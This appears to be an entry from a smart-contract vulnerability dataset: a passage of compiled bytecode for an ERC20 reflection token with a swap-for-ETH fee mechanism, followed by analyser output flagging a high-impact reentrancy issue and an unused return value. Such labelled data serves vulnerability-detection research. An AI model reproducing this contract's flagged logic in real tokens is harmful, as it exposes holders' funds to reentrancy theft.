a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156119bd576119bc612ea9565b5b6040519080825280602002602001820160405280156119eb5781602001602082028036833780820191505090505b5090503081600081518110611a0357611a02612e7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611aa557600080fd5b505afa158015611ab9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611add9190612415565b81600181518110611af157611af0612e7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b5830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461110f565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611bbc959493929190612ad8565b600060405180830381600087803b158015611bd657600080fd5b505af1158015611bea573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611c18838383611c92565b505050565b6000611c5f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e5d565b905092915050565b6000806000611c74611ec0565b91509150611c8b8183611c1d90919063ffffffff16565b9250505090565b600080600080600080611ca487611f2b565b955095509550955095509550611d0286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f9390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d9785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fdd90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611de38161203b565b611ded84836120f8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611e4a9190612abd565b60405180910390a3505050505050505050565b60008083118290611ea4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9b919061295b565b60405180910390fd5b5060008385611eb39190612c49565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce80000009050611efc6b033b2e3c9fd0803ce8000000600854611c1d90919063ffffffff16565b821015611f1e576008546b033b2e3c9fd0803ce8000000935093505050611f27565b81819350935050505b9091565b6000806000806000806000806000611f488a600a54600b54612132565b9250925092506000611f58611c67565b90506000806000611f6b8e8787876121c8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611fd583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117b8565b905092915050565b6000808284611fec9190612bf3565b905083811015612031576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612028906129dd565b60405180910390fd5b8091505092915050565b6000612045611c67565b9050600061205c828461225190919063ffffffff16565b90506120b081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fdd90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61210d82600854611f9390919063ffffffff16565b60088190555061212881600954611fdd90919063ffffffff16565b6009819055505050565b60008060008061215e6064612150888a61225190919063ffffffff16565b611c1d90919063ffffffff16565b90506000612188606461217a888b61225190919063ffffffff16565b611c1d90919063ffffffff16565b905060006121b1826121a3858c611f9390919063ffffffff16565b611f9390919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806121e1858961225190919063ffffffff16565b905060006121f8868961225190919063ffffffff16565b9050600061220f878961225190919063ffffffff16565b905060006122388261222a8587611f9390919063ffffffff16565b611f9390919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561226457600090506122c6565b600082846122729190612c7a565b90508284826122819190612c49565b146122c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b8906129fd565b60405180910390fd5b809150505b92915050565b60006122df6122da84612b72565b612b4d565b9050808382526020820190508285602086028201111561230257612301612edd565b5b60005b858110156123325781612318888261233c565b845260208401935060208301925050600181019050612305565b5050509392505050565b60008135905061234b816131a1565b92915050565b600081519050612360816131a1565b92915050565b600082601f83011261237b5761237a612ed8565b5b813561238b8482602086016122cc565b91505092915050565b6000813590506123a3816131b8565b92915050565b6000815190506123b8816131b8565b92915050565b6000813590506123cd816131cf565b92915050565b6000815190506123e2816131cf565b92915050565b6000602082840312156123fe576123fd612ee7565b5b600061240c8482850161233c565b91505092915050565b60006020828403121561242b5761242a612ee7565b5b600061243984828501612351565b91505092915050565b6000806040838503121561245957612458612ee7565b5b60006124678582860161233c565b92505060206124788582860161233c565b9150509250929050565b60008060006060848603121561249b5761249a612ee7565b5b60006124a98682870161233c565b93505060206124ba8682870161233c565b92505060406124cb868287016123be565b9150509250925092565b600080604083850312156124ec576124eb612ee7565b5b60006124fa8582860161233c565b925050602061250b858286016123be565b9150509250929050565b60006020828403121561252b5761252a612ee7565b5b600082013567ffffffffffffffff81111561254957612548612ee2565b5b61255584828501612366565b91505092915050565b60006020828403121561257457612573612ee7565b5b600061258284828501612394565b91505092915050565b6000602082840312156125a1576125a0612ee7565b5b60006125af848285016123a9565b91505092915050565b6000806000606084860312156125d1576125d0612ee7565b5b60006125df868287016123d3565b93505060206125f0868287016123d3565b9250506040612601868287016123d3565b9150509250925092565b60006126178383612623565b60208301905092915050565b61262c81612d08565b82525050565b61263b81612d08565b82525050565b600061264c82612bae565b6126568185612bd1565b935061266183612b9e565b8060005b83811015612692578151612679888261260b565b975061268483612bc4565b925050600181019050612665565b5085935050505092915050565b6126a881612d1a565b82525050565b6126b781612d5d565b82525050565b60006126c882612bb9565b6126d28185612be2565b93506126e2818560208601612d6f565b6126eb81612eec565b840191505092915050565b6000612703602383612be2565b915061270e82612efd565b604082019050919050565b6000612726602a83612be2565b915061273182612f4c565b604082019050919050565b6000612749602283612be2565b915061275482612f9b565b604082019050919050565b600061276c601b83612be2565b915061277782612fea565b602082019050919050565b600061278f602183612be2565b915061279a82613013565b604082019050919050565b60006127b2602083612be2565b91506127bd82613062565b602082019050919050565b60006127d5602983612be2565b91506127e08261308b565b604082019050919050565b60006127f8602583612be2565b9150612803826130da565b604082019050919050565b600061281b602483612be2565b915061282682613129565b604082019050919050565b600061283e601783612be2565b915061284982613178565b602082019050919050565b61285d81612d46565b82525050565b61286c81612d50565b82525050565b60006020820190506128876000830184612632565b92915050565b60006040820190506128a26000830185612632565b6128af6020830184612632565b9392505050565b60006040820190506128cb6000830185612632565b6128d86020830184612854565b9392505050565b600060c0820190506128f46000830189612632565b6129016020830188612854565b61290e60408301876126ae565b61291b60608301866126ae565b6129286080830185612632565b61293560a0830184612854565b979650505050505050565b6000602082019050612955600083018461269f565b92915050565b6000602082019050818103600083015261297581846126bd565b905092915050565b60006020820190508181036000830152612996816126f6565b9050919050565b600060208201905081810360008301526129b681612719565b9050919050565b600060208201905081810360008301526129d68161273c565b9050919050565b600060208201905081810360008301526129f68161275f565b9050919050565b60006020820190508181036000830152612a1681612782565b9050919050565b60006020820190508181036000830152612a36816127a5565b9050919050565b60006020820190508181036000830152612a56816127c8565b9050919050565b60006020820190508181036000830152612a76816127eb565b9050919050565b60006020820190508181036000830152612a968161280e565b9050919050565b60006020820190508181036000830152612ab681612831565b9050919050565b6000602082019050612ad26000830184612854565b92915050565b600060a082019050612aed6000830188612854565b612afa60208301876126ae565b8181036040830152612b0c8186612641565b9050612b1b6060830185612632565b612b286080830184612854565b9695505050505050565b6000602082019050612b476000830184612863565b92915050565b6000612b57612b68565b9050612b638282612da2565b919050565b6000604051905090565b600067ffffffffffffffff821115612b8d57612b8c612ea9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612bfe82612d46565b9150612c0983612d46565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612c3e57612c3d612e1c565b5b828201905092915050565b6000612c5482612d46565b9150612c5f83612d46565b925082612c6f57612c6e612e4b565b5b828204905092915050565b6000612c8582612d46565b9150612c9083612d46565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612cc957612cc8612e1c565b5b828202905092915050565b6000612cdf82612d46565b9150612cea83612d46565b925082821015612cfd57612cfc612e1c565b5b828203905092915050565b6000612d1382612d26565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612d6882612d46565b9050919050565b60005b83811015612d8d578082015181840152602081019050612d72565b83811115612d9c576000848401525b50505050565b612dab82612eec565b810181811067ffffffffffffffff82111715612dca57612dc9612ea9565b5b80604052505050565b6000612dde82612d46565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612e1157612e10612e1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6131aa81612d08565b81146131b557600080fd5b50565b6131c181612d1a565b81146131cc57600080fd5b50565b6131d881612d46565b81146131e357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209da9deb15b2625e021bc89f78a49275b79824c3b36a7dbff685f50b85ea8867e64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,199 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.